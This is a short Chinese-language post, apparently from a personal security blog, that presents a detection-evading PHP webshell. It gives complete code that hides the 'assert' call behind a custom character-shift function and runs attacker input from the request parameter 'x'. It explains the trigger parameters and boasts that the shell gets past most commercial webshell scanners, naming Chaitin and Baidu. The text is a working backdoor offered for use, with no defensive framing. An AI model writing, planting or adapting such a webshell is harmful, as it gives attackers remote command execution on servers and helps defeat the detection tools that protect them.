PHP自定义字符处理函数免杀webshell

网上一直有使用各种编码、加密免杀PHPwenshell的方法,很多用的PHP自带的例如base64_decode、substr_replace、str_rot13这种函数去处理,想到可以自定义字符串处理函数,测试一下会不会有比较好的效果,最终测试效果还算理想。

自己实现类似于str_rot13的编码方法,原理很简单,但效果还不错,代码如下:

<?php
function rot($str,$len){
    $restr="";
    for($i=0;$i<strlen($str);$i++){
        $restr.=chr(ord($str[$i])+$len);
    }
    return $restr;
}

function muma($a,$len){
    $exe=rot('^ppboq',$len);
    $exe($a);
}
muma($_REQUEST['x'],$_REQUEST['len']);

解析:取字符串的每一位,ord解出ASCII后,统一右移传入的$len位,然后再chr还原成字符,再拼接起来,这里传入的^ppboq就是assert左移3位的结果,所以出传入x=phpinfo();&len=3即可执行命令。

测试结果可以过市面上大部分webshell检测,长亭、百度什么的都可以过。